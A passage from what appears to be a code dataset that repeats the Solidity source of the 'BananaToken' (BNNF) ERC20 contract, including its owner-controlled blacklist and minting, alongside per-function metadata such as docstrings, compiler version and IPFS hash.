_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | burn | function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
| /**
* @dev Burn `amount` tokens and decreasing the total supply.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
5544,
5659
]
} | 9,001 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
6116,
6568
]
} | 9,002 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | _mint | function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
6826,
7119
]
} | 9,003 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | _burn | function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
7424,
7757
]
} | 9,004 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
